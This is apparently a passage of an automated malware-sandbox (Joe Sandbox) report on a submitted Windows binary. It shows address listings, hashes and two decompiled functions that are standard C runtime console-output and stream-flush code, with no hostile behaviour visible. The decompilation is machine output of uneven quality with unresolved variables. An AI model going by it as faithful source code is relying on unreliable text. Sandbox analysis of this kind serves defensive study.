0x00435143
0x00435160
0x00435164
0x00435172
0x00435175
0x00435178
0x0043517f
0x00435181
0x00435181
0x00435166
0x00435166
0x00435166
0x0043518e
0x0043518e
0x00435194
0x00435196
0x00435196
0x0043519d
0x004351a0
0x004351a3
0x004351a3
0x004351a3
0x004351a9
0x004351ac
0x004351af
0x004351b1
0x00000000
0x00000000
0x004351b3
0x004351b9
0x004351b9
0x004351bf
0x0043523c
0x0043523f
0x00435242
0x00435245
0x00435248
0x0043524b
0x00435251
0x00435251
0x00435257
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x0043528c
0x0043528f
0x0043528f
0x00435292
0x00435297
0x00435297
0x0043529c
0x004352ae
0x004352ae
0x004352b1
0x004352c3
0x004352c3
0x004352c6
0x004352c8
0x004352cc
0x004352cc
0x004352b3
0x004352b3
0x004352b7
0x004352b7
0x0043529e
0x0043529e
0x004352a2
0x004352a2
0x0043529c
0x004352d6
0x004352d9
0x004352dc
0x004352e5
0x004352e5
0x004352e8
0x004352ea
0x004352f1
0x004352f5
0x004352fe
0x00435303
0x00435306
0x0043530d
0x00435311
0x00435315
0x00435321
0x00435324
0x00435324
0x00435327
0x0043532c
0x0043532c
0x0043532f
0x00435331
0x00435338
0x0043533c
0x00435345
0x0043534a
0x0043532f
0x0043534d
0x00435351
0x00435425
0x00435425
0x0043542c
0x00435430
0x00435434
0x00435438
0x00000000
0x00435357
0x00435357
0x00435357
0x0043535b
0x00000000
0x00000000
0x00435361
0x00435361
0x0043536b
0x0043536e
0x00435374
0x00435377
0x0043537d
0x0043537d
0x0043537d
0x00435389
0x0043538c
0x00435392
0x00435394
0x00000000
0x00000000
0x0043539a
0x0043539a
0x004353a3
0x004353aa
0x004353b4
0x004353bb
0x004353ca
0x004353d6
0x004353d9
0x004353df
0x004353e6
0x004353f1
0x004353f1
0x00000000
0x004353f1
0x004353e8
0x004353e8
0x004353ef
0x004353fd
0x004353fd
0x00435404
0x00435408
0x00435416
0x00000000
0x0043541b
0x00000000
0x004353ef
0x00435423
0x00435440
0x00435440
0x00435447
0x0043544c
0x0043544c
0x0043544f
0x00435451
0x00435458
0x0043545c
0x00435465
0x0043546a
0x0043544f
0x00435447
0x0043546d
0x0043546d
0x00435471
0x00435479
0x00435481
0x00435481
0x00435488
0x00435488
0x0043455f
0x00434565
0x00434572
0x00434577
0x00000000
0x0043458a
0x00434594
0x004345bb
0x004345a2
0x004345b3
0x004345b3
0x00434594
0x004345c5
0x004345cb
0x004345d7
0x004345da
0x004345e8
0x004345eb
0x004345f8
0x0043469d
0x004346a3
0x004346a9
0x004346b0
0x00000000
0x00000000
0x004346b6
0x004346bc
0x00000000
0x004346c3
0x004346c3
0x004346db
0x004346e0
0x004346e3
0x004346e5
0x0043479f
0x004347b2
0x004347b7
0x00000000
0x004346eb
0x004346fe
0x00434703
0x00434709
0x0043470b
0x00434714
0x00434714
0x00434717
0x00434723
0x00434727
0x0043472d
0x0043472f
0x00434734
0x00434736
0x0043473b
0x00434740
0x00434742
0x00434747
0x0043474a
0x0043474d
0x0043474f
0x0043474f
0x0043474d
0x00434750
0x00434750
0x00434757
0x00000000
0x00434759
0x0043475e
0x0043477a
0x00434782
0x0043478f
0x00434794
0x00000000
0x00434794
0x00434757
0x00000000
0x004347bf
0x004347bf
0x004347c6
0x004347c9
0x004347cc
0x004347cf
0x004347d2
0x004347d5
0x004347d8
0x004347df
0x004347e6
0x00000000
0x00000000
0x004347f2
0x004347f2
0x004347f9
0x00434805
0x00434808
0x0043480e
0x00434815
0x00000000
0x00000000
0x00434817
0x00434817
0x0043481d
0x0043481d
0x00434824
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434867
0x00434867
0x0043486e
0x00434871
0x0043489b
0x0043489e
0x0043489e
0x004348a1
0x004348a8
0x004348a8
0x004348ac
0x00434873
0x00434873
0x0043487f
0x00434882
0x00434886
0x00434888
0x0043488b
0x0043488b
0x0043488e
0x00434894
0x00434896
0x00434896
0x00434899
0x00000000
0x00000000
0x004348b4
0x004348b4
0x00000000
0x00000000
0x004348c0
0x004348c0
0x004348c7
0x004348ca
0x004348ea
0x004348ed
0x004348ed
0x004348f7
0x004348f7
0x004348fb
0x004348cc
0x004348cc
0x004348d8
0x004348db
0x004348df
0x004348e1
0x004348e1
0x004348e8
0x00000000
0x00000000
0x00434903
0x00434903
0x0043490a
0x00434916
0x00434919
0x0043491f
0x00434926
0x00434a39
0x00000000
0x00434a39
0x0043492c
0x0043492c
0x00434932
0x00434932
0x00434939
0x00000000
0x0043496f
0x0043496f
0x00434972
0x00434975
0x00434978
0x004349a0
0x004349a0
0x004349a3
0x004349a6
0x004349a9
0x004349ce
0x004349ce
0x004349d1
0x004349d4
0x004349d7
0x00434a10
0x00434a21
0x00000000
0x00434a21
0x004349d9
0x004349d9
0x004349dc
0x004349df
0x004349e2
0x00000000
0x00000000
0x004349e4
0x004349e4
0x004349e7
0x004349ea
0x004349ed
0x00000000
0x00000000
0x004349ef
0x004349ef
0x004349f2
0x004349f5
0x004349f8
0x00000000
0x00000000
0x004349fa
0x004349fa
0x004349fd
0x00434a00
0x00434a03
0x00000000
0x00000000
0x00434a05
0x00434a05
0x00434a08
0x00434a0b
0x00434a0e
0x00434a12
0x00000000
0x00434a12
0x00000000
0x00434a0e
0x004349ab
0x004349ab
0x004349ae
0x004349b2
0x004349b5
0x00000000
0x004349b7
0x004349ba
0x004349bd
0x004349c0
0x004349c3
0x004349c9
0x00000000
0x004349c9
0x004349b5
0x0043497a
0x0043497a
0x0043497d
0x00434981
0x00434984
0x00000000
0x00434986
0x00434989
0x0043498c
0x0043498f
0x00434992
0x00434998
0x00000000
0x00434998
0x00000000
0x00434a23
0x00434a26
0x00434a29
0x00000000
0x00000000
0x00434940
0x00434940
0x00434943
0x00434946
0x00434949
0x00434961
0x00434964
0x00434964
0x00434967
0x0043494b
0x0043494e
0x00434951
0x00434957
0x0043495c
0x0043495c
0x00000000
0x00000000
0x00434a2e
0x00434a2e
0x00434a31
0x00434a31
0x00434a36
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434a3e
0x00434a3e
0x00434a45
0x00434a51
0x00434a54
0x00434a5a
0x00434a61
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00435282
0x00434a67
0x00434a6d
0x00434a6d
0x00434a74
0x00000000
0x00434dce
0x00434dce
0x00434dd5
0x00434ddc
0x00434ddc
0x00434ddf
0x00000000
0x00000000
0x00434a7b
0x00434a7e
0x00434a7e
0x00434a84
0x00434a86
0x00434a89
0x00434a89
0x00434a8e
0x00434a8e
0x00000000
0x00000000
0x00434bbb
0x00434bbe
0x00434bbe
0x00434bc3
0x00434bc5
0x00434bc8
0x00434bc8
0x00434bce
0x00434bce
0x00000000
0x00000000
0x00434f9b
0x00434f9b
0x00434fb1
0x00434fb1
0x00434fbb
0x00434fbb
0x00434fc1
0x00434fc3
0x00434fcd
0x00434fcd
0x00434fd0
0x00434fd3
0x00434fd3
0x00000000
0x00000000
0x00434b25
0x00434b25
0x00434b31
0x00434b37
0x00434b3e
0x00434b4c
0x00434b4c
0x00434b52
0x00434b55
0x00434b61
0x00434bb6
0x00000000
0x00434bb6
0x00434b40
0x00434b40
0x00434b46
0x00434b4a
0x00434b66
0x00434b69
0x00434b69
0x00434b6f
0x00434b97
0x00434b9e
0x00434ba4
0x00434ba7
0x00434baa
0x00434bb0
0x00434bb3
0x00434b71
0x00434b71
0x00434b77
0x00434b7a
0x00434b7d
0x00434b83
0x00434b86
0x00434b89
0x00434b8b
0x00434b8e
0x00434b8e
0x00000000
0x00434b6f
0x00000000
0x00000000
0x00434de5
0x00434de8
0x00434deb
0x00434dee
0x00434df4
0x00434df7
0x00434dfe
0x00434e02
0x00434e0d
0x00434e0d
0x00434e11
0x00434e28
0x00434e28
0x00434e2f
0x00434e31
0x00434e31
0x00434e38
0x00434e38
0x00434e3f
0x00434e50
0x00434e5f
0x00434e62
0x00434e66
0x00434e7c
0x00434e68
0x00434e68
0x00434e6b
0x00434e71
0x00434e77
0x00434e77
0x00434e66
0x00434e86
0x00434e89
0x00434e8c
0x00434e8f
0x00434e92
0x00434e95
0x00434e9b
0x00434ea1
0x00434ea9
0x00434eaa
0x00434ead
0x00434eae
0x00434eb1
0x00434eb2
0x00434eb9
0x00434eba
0x00434ebd
0x00434ebe
0x00434ec1
0x00434ec2
0x00434ec8
0x00434ec9
0x00434ed7
0x00434ed9
0x00434edf
0x00434edf
0x00434ee5
0x00434ee7
0x00434eeb
0x00434eed
0x00434ef5
0x00434ef6
0x00434ef9
0x00434efa
0x00434f08
0x00434f0a
0x00434f0a
0x00434eeb
0x00434f0d
0x00434f14
0x00434f17
0x00434f1c
0x00434f1c
0x00434f22
0x00434f24
0x00434f2c
0x00434f2d
0x00434f30
0x00434f31
0x00434f40
0x00434f42
0x00434f42
0x00434f22
0x00434f45
0x00434f48
0x00434f4b
0x00434f4e
0x00434f53
0x00434f59
0x00434f5c
0x00434f5f
0x00434f5f
0x00434f62
0x00434f62
0x00434f65
0x00434f71
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00000000
0x00435282
0x00434e13
0x00434e13
0x00434e1a
0x00434e1d
0x00000000
0x00000000
0x00434e1f
0x00434e1f
0x00000000
0x00434e1f
0x00434e04
0x00434e04
0x00000000
0x00000000
0x00434a91
0x00434a94
0x00434a94
0x00434a9a
0x00434af5
0x00434afd
0x00434b04
0x00434b0a
0x00434b10
0x00434a9c
0x00434a9c
0x00434aa6
0x00434aaa
0x00434ab2
0x00434ab9
0x00434ac6
0x00434acd
0x00434ad9
0x00434adf
0x00434ae6
0x00434ae8
0x00434ae8
0x00434aef
0x00434b17
0x00434b1d
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00000000
0x00434f79
0x00434f7c
0x00434f7f
0x00434f82
0x00434ffa
0x00434ffd
0x00434ffd
0x00435002
0x00435024
0x00435024
0x0043502a
0x0043504c
0x0043504c
0x0043504f
0x00435096
0x00435096
0x00435099
0x004350b6
0x004350ba
0x004350c2
0x004350c2
0x004350c4
0x004350ca
0x0043509b
0x0043509b
0x0043509f
0x004350a7
0x004350a8
0x004350ae
0x004350ae
0x00435051
0x00435054
0x00435054
0x00435057
0x00435075
0x00435081
0x00435084
0x00435085
0x0043508b
0x00435059
0x00435059
0x0043505d
0x00435065
0x00435066
0x00435067
0x0043506d
0x0043506d
0x00435091
0x0043502c
0x0043502c
0x00435038
0x0043503e
0x0043503e
0x00435004
0x00435004
0x00435010
0x00435016
0x00435016
0x004350d3
0x004350d3
0x004350d6
0x00000000
0x00000000
0x00000000
0x00434cd7
0x00434cd7
0x00434ce3
0x00434ce9
0x00434cee
0x00434cf0
0x00434d9a
0x00434d9d
0x00434d9d
0x00434da0
0x00434db4
0x00434dba
0x00434dc0
0x00434da2
0x00434da2
0x00434daf
0x00434daf
0x00434dc2
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00435282
0x00434cf6
0x00434cf6
0x00434cf6
0x00434cf8
0x00434d06
0x00434cfa
0x00434cfa
0x00434cfa
0x00434d10
0x00434d16
0x00434d1c
0x00434d23
0x00434d25
0x00434d2a
0x00434d2c
0x00434d31
0x00434d36
0x00434d38
0x00434d3d
0x00434d40
0x00434d43
0x00434d45
0x00434d45
0x00434d43
0x00434d46
0x00434d4d
0x00434d95
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00434d4f
0x00434d4f
0x00434d54
0x00434d70
0x00434d78
0x00434d82
0x00434d85
0x00434d8a
0x00000000
0x00434d8a
0x00000000
0x00434fdc
0x00434fdc
0x00434fe6
0x00434fe6
0x00434fec
0x00434fee
0x00434ff1
0x00434ff1
0x00434ff7
0x00434ff7
0x00434ffa
0x00434ffa
0x00434ffd
0x00434ffd
0x00435002
0x00435024
0x00435024
0x0043502a
0x0043504c
0x0043504c
0x0043504f
0x00435096
0x00435096
0x00435099
0x004350b6
0x004350ba
0x004350c2
0x004350c2
0x004350c4
0x004350ca
0x0043509b
0x0043509b
0x0043509f
0x004350a7
0x004350a8
0x004350ae
0x004350ae
0x00435051
0x00435054
0x00435054
0x00435057
0x00435075
0x00435081
0x00435084
0x00435085
0x0043508b
0x00435059
0x00435059
0x0043505d
0x00435065
0x00435066
0x00435067
0x0043506d
0x0043506d
0x00435091
0x0043502c
0x0043502c
0x00435038
0x0043503e
0x0043503e
0x00435004
0x00435004
0x00435010
0x00435016
0x00435016
0x004350d3
0x004350d3
0x004350d6
0x00000000
0x00000000
0x00000000
0x004350d6
0x00000000
0x00434f94
0x00434f94
0x00000000
0x00000000
0x00434bd1
0x00434bd1
0x00434bd5
0x00434be3
0x00434be6
0x00434bd7
0x00434bd7
0x00434bd7
0x00434bec
0x00434bf2
0x00434bf8
0x00434c04
0x00434c0a
0x00434c0a
0x00434c10
0x00434c77
0x00434c77
0x00434c7b
0x00434c7d
0x00434c83
0x00434c83
0x00434c86
0x00434c89
0x00434c8f
0x00434c8f
0x00434c8f
0x00434c9b
0x00434c9e
0x00434ca4
0x00434ca6
0x00000000
0x00000000
0x00434ca8
0x00434ca8
0x00434cae
0x00434cb1
0x00434cb3
0x00000000
0x00000000
0x00434cb5
0x00434cbb
0x00434cbe
0x00434cbe
0x00434cc6
0x00434cc6
0x00434ccc
0x00434ccc
0x00434ccf
0x00000000
0x00434c12
0x00434c12
0x00434c12
0x00434c16
0x00434c18
0x00434c1d
0x00434c1d
0x00434c20
0x00434c27
0x00434c2a
0x00434c30
0x00434c30
0x00434c30
0x00434c3c
0x00434c3f
0x00434c45
0x00434c47
0x00000000
0x00000000
0x00434c49
0x00434c49
0x00434c4f
0x00434c52
0x00434c54
0x00000000
0x00000000
0x00434c56
0x00434c5c
0x00434c5f
0x00434c5f
0x00434c67
0x00434c6d
0x00434c70
0x00434c72
0x00434cd2
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00435282
0x00000000
0x00434f8b
0x00434f8b
0x00434ffa
0x00434ffa
0x00434ffd
0x00434ffd
0x00435002
0x00435024
0x00435024
0x0043502a
0x0043504c
0x0043504c
0x0043504f
0x00435096
0x00435096
0x00435099
0x004350b6
0x004350ba
0x004350c2
0x004350c2
0x004350c4
0x004350ca
0x0043509b
0x0043509b
0x0043509f
0x004350a7
0x004350a8
0x004350ae
0x004350ae
0x00435051
0x00435054
0x00435054
0x00435057
0x00435075
0x00435081
0x00435084
0x00435085
0x0043508b
0x00435059
0x00435059
0x0043505d
0x00435065
0x00435066
0x00435067
0x0043506d
0x0043506d
0x00435091
0x0043502c
0x0043502c
0x00435038
0x0043503e
0x0043503e
0x00435004
0x00435004
0x00435010
0x00435016
0x00435016
0x004350d3
0x004350d3
0x004350d6
0x00000000
0x00000000
0x00000000
0x004350d6
0x00000000
0x00000000
0x00000000
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00000000
0x00000000
0x00434841
0x00434844
0x00434847
0x00000000
0x00000000
0x0043484c
0x0043484f
0x00434854
0x00000000
0x00000000
0x00434836
0x00434836
0x00434839
0x0043483c
0x00000000
0x00000000
0x0043482b
0x0043482e
0x00434831
0x00000000
0x00000000
0x00434859
0x00434859
0x0043485c
0x0043485c
0x0043485f
0x00000000
0x00000000
0x00434862
0x00000000
0x00000000
0x004345fe
0x00434600
0x0043460e
0x00434602
0x00434602
0x00434602
0x00434618
0x0043461e
0x0043462b
0x0043462d
0x00434632
0x00434634
0x00434639
0x0043463e
0x00434640
0x00434645
0x0043464b
0x0043464d
0x0043464d
0x0043464b
0x0043464e
0x00434655
0x00000000
0x00434657
0x0043465c
0x00434678
0x00434680
0x0043468d
0x00434692
0x00435551
0x0043555e
0x0043555e
0x00434655
0x004345f8
0x0043548d
0x0043548d
0x00435494
0x004354ab
0x004354ab
0x004354b5
0x004354b5
0x004354bb
0x004354c1
0x004354c8
0x004354ca
0x004354cf
0x004354d1
0x004354d6
0x004354db
0x004354dd
0x004354e2
0x004354e5
0x004354e8
0x004354ea
0x004354ea
0x004354e8
0x004354eb
0x004354f2
0x0043553d
0x00435546
0x0043554b
0x004354f4
0x004354f9
0x00435515
0x0043551d
0x0043552a
0x0043552f
0x0043552f
0x00000000
0x004354f2
0x00435496
0x00435496
0x0043549d
0x00000000
0x00000000
0x0043549f
0x0043549f
0x00000000
0x0043549f
0x00435282
0x00435259
0x00435259
0x0043525d
0x0043526a
0x0043526d
0x00435270
0x00435273
0x00435276
0x00435279
0x0043527c
0x0043527c
0x0043527f
0x00000000
0x0043527f
0x0043525f
0x0043525f
0x00435262
0x00435265
0x00435268
0x00000000
0x00000000
0x00000000
0x00435268
0x004351c1
0x004351c1
0x004351c4
0x004351c7
0x004351ce
0x004351d5
0x004351dd
0x004351e3
0x004351e6
0x004351e9
0x004351f0
0x004351fc
0x00435202
0x00435208
0x0043520f
0x00435211
0x00435217
0x00435217
0x0043521d
0x0043521d
0x00435223
0x00435226
0x0043522c
0x00435231
0x00435234
0x004351a3
0x004351a3
0x004351a9
0x004351ac
0x004351af
0x004351b1
0x00000000
0x00000000
0x00000000
0x004351b1
0x004351a3
0x004350e3
0x004350e3
0x004350ea
0x00000000
0x00000000
0x00000000
0x00435118
0x00435118
0x0043511e
0x00435124
0x0043512a
0x00000000
0x0043512a
0x00434ffa
0x00434fb1

APIs

_get_int64_arg.LIBCMTD ref: 00435008
__aullrem.LIBCMT ref: 004351D5
__aulldiv.LIBCMT ref: 004351F7

Strings

', xrefs: 00434FA7
0, xrefs: 00434FC3
9, xrefs: 00435208

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 2cb84206010ed5459d3f7d39f241dc7a2205797c5f22d91f5477a294d4303920
Instruction ID: 94e0df0441ef1e4111abe674c1b7f6943096585001b786b4cdf103f26f29497b
Opcode Fuzzy Hash: 2cb84206010ed5459d3f7d39f241dc7a2205797c5f22d91f5477a294d4303920
Instruction Fuzzy Hash: 3241DF71D05629DFEF24CF48C899BAEB7B5BB48304F2491DAD408A7240C738AE81CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0043B310, Relevance: 9.1, APIs: 6, Instructions: 76
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0043B310(void* __edx, void _a4) {
				long _v8;
				int _v12;
				signed int _v16;
				void _v24;
				signed int _t12;
				void _t14;
				void* _t25;
				void* _t31;
				void* _t33;
				void* _t34;
				signed int _t35;

				_t31 = __edx;
				_t12 =  *0x440354; // 0xa5248312
				_v16 = _t12 ^ _t35;
				if( *0x4416b4 == 0) {
					L12:
					if( *0x4416b4 != 0) {
						L16:
						_t14 = _a4;
					} else {
						_v12 = WideCharToMultiByte(GetConsoleOutputCP(), 0,  &_a4, 1,  &_v24, 5, 0, 0);
						if( *0x441744 == 0xffffffff) {
							L15:
							_t14 = 0xffff;
						} else {
							_t31 =  *0x441744; // 0xfffffffe
							if(WriteConsoleA(_t31,  &_v24, _v12,  &_v8, 0) != 0) {
								goto L16;
							} else {
								goto L15;
							}
						}
					}
				} else {
					if( *0x441744 == 0xfffffffe) {
						E0043D140();
					}
					if( *0x441744 != 0xffffffff) {
						_t31 =  *0x441744; // 0xfffffffe
						if(WriteConsoleW(_t31,  &_a4, 1,  &_v8, 0) != 0) {
							 *0x4416b4 = 1;
							goto L12;
						} else {
							if( *0x4416b4 != 2 || GetLastError() != 0x78) {
								_t14 = 0xffff;
							} else {
								 *0x4416b4 = 0;
								goto L12;
							}
						}
					} else {
						_t14 = 0xffff;
					}
				}
				return E0042BCB0(_t14, _t25, _v16 ^ _t35, _t31, _t33, _t34);
			}

0x0043b310
0x0043b318
0x0043b31f
0x0043b329
0x0043b39e
0x0043b3a5
0x0043b3f8
0x0043b3f8
0x0043b3a7
0x0043b3c6
0x0043b3d0
0x0043b3f1
0x0043b3f1
0x0043b3d2
0x0043b3e0
0x0043b3ef
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b3ef
0x0043b3d0
0x0043b32b
0x0043b332
0x0043b334
0x0043b334
0x0043b340
0x0043b35a
0x0043b369
0x0043b394
0x00000000
0x0043b36b
0x0043b372
0x0043b38b
0x0043b37f
0x0043b37f
0x00000000
0x0043b392
0x0043b372
0x0043b342
0x0043b342
0x0043b342
0x0043b340
0x0043b409

APIs

___initconout.LIBCMTD ref: 0043B334

Part of subcall function 0043D140: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,?,0043B339), ref: 0043D159

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 0043B3B9
WideCharToMultiByte.KERNEL32(00000000), ref: 0043B3C0
WriteConsoleA.KERNEL32(FFFFFFFE,00000000,?,?,00000000), ref: 0043B3E7

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: 2e505b59f9445fae67540edda801111be07d95f2257a770c0b1d1e54be55b13c
Instruction ID: 2ec25e30ac53b89c78d45ec92829ffc902348b8dc3e3abafd3f03dc6f3ea9999
Opcode Fuzzy Hash: 2e505b59f9445fae67540edda801111be07d95f2257a770c0b1d1e54be55b13c
Instruction Fuzzy Hash: 4321BF34500225EBDB20CF65DD09FAA3774EB09314F10023AFB12962E0DB788984DB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0043D233, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0043D233() {
				signed int _t104;
				void* _t119;
				void* _t122;
				void* _t130;
				signed int _t179;
				void* _t193;
				void* _t194;
				void* _t195;
				void* _t197;

				if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000002;
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xffffffef;
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					 *(_t195 - 4) = 0;
					_t136 =  *(_t195 - 4);
					 *(_t195 - 0xc) =  *(_t195 - 4);
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000108) == 0) {
							 *(_t195 - 4) = 2;
							 *((short*)(_t195 - 0x14)) =  *(_t195 + 8) & 0x0000ffff;
							 *(_t195 - 0xc) = E00432FF0( *(_t195 - 0x10),  *(_t195 - 0x10), _t195 - 0x14,  *(_t195 - 4));
							L25:
							if( *(_t195 - 0xc) ==  *(_t195 - 4)) {
								_t104 =  *(_t195 + 8) & 0x0000ffff;
							} else {
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
							}
							goto L28;
						}
						if( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t119 = L0041E210();
							_t197 = _t197 + 0x14;
							if(_t119 == 1) {
								asm("int3");
							}
						}
						 *(_t195 - 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
						 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) + 2;
						 *( *((intOrPtr*)(_t195 - 8)) + 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 0x18)) - 2;
						if( *(_t195 - 4) <= 0) {
							if( *(_t195 - 0x10) == 0xffffffff ||  *(_t195 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t195 - 0x18)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t195 - 0x18)) = (( *(_t195 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + ( *(_t195 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t195 - 0x18)) + 4; // 0xa80
							_t152 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t179 =  *(_t195 - 0x10);
								 *(_t195 - 0x20) = E00432CB0(_t152, _t179, _t179, 0, 0, 2);
								 *(_t195 - 0x1c) = _t179;
								if(( *(_t195 - 0x20) &  *(_t195 - 0x1c)) != 0xffffffff) {
									goto L23;
								}
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
								goto L28;
							}
						} else {
							 *(_t195 - 0xc) = E00432FF0( *((intOrPtr*)(_t195 - 8)),  *(_t195 - 0x10),  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)),  *(_t195 - 4));
							L23:
							 *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)))) =  *(_t195 + 8) & 0x0000ffff;
							goto L25;
						}
					}
					if( *((intOrPtr*)(_t195 - 8)) == E00426480() + 0x20 ||  *((intOrPtr*)(_t195 - 8)) == E00426480() + 0x40) {
						_t136 =  *(_t195 - 0x10);
						_t122 = E00433E20(_t130,  *(_t195 - 0x10), _t193, _t194,  *(_t195 - 0x10));
						_t197 = _t197 + 4;
						if(_t122 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433D60(_t136,  *((intOrPtr*)(_t195 - 8)));
						_t197 = _t197 + 4;
						goto L10;
					}
				} else {
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000010) == 0) {
						 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
						_t104 = 0xffff;
						L28:
						return _t104;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x0043d26d
0x0043d2b9
0x0043d2c5
0x0043d2d4
0x0043d2da
0x0043d2e1
0x0043d2e8
0x0043d2eb
0x0043d2f9
0x0043d331
0x0043d33d
0x0043d445
0x0043d455
0x0043d46d
0x0043d470
0x0043d476
0x0043d491
0x0043d478
0x0043d484
0x0043d487
0x0043d487
0x00000000
0x0043d476
0x0043d34e
0x0043d350
0x0043d355
0x0043d357
0x0043d35c
0x0043d361
0x0043d363
0x0043d368
0x0043d36e
0x0043d370
0x0043d370
0x0043d36e
0x0043d37c
0x0043d38b
0x0043d399
0x0043d3a0
0x0043d3c2
0x0043d3e5
0x0043d3ca
0x0043d3e0
0x0043d3e0
0x0043d3ef
0x0043d3f3
0x0043d3f6
0x00000000
0x0043d3f8
0x0043d3fe
0x0043d40a
0x0043d40d
0x0043d419
0x00000000
0x00000000
0x0043d427
0x0043d42a
0x00000000
0x0043d42a
0x0043d3a2
0x0043d3b9
0x0043d431
0x0043d440
0x00000000
0x0043d440
0x0043d3a0
0x0043d306
0x0043d315
0x0043d319
0x0043d31e
0x0043d323
0x00000000
0x00000000
0x00000000
0x0043d325
0x0043d325
0x0043d329
0x0043d32e
0x00000000
0x0043d32e
0x0043d26f
0x0043d272
0x0043d282
0x0043d2ac
0x0043d2af
0x0043d496
0x0043d499
0x0043d499
0x0043d28d
0x0043d29b
0x00000000
0x0043d29b

APIs

__isatty.LIBCMTD ref: 0043D319
__getbuf.LIBCMTD ref: 0043D329
__write.LIBCMTD ref: 0043D3B1

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 0043D350
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 0043D35C

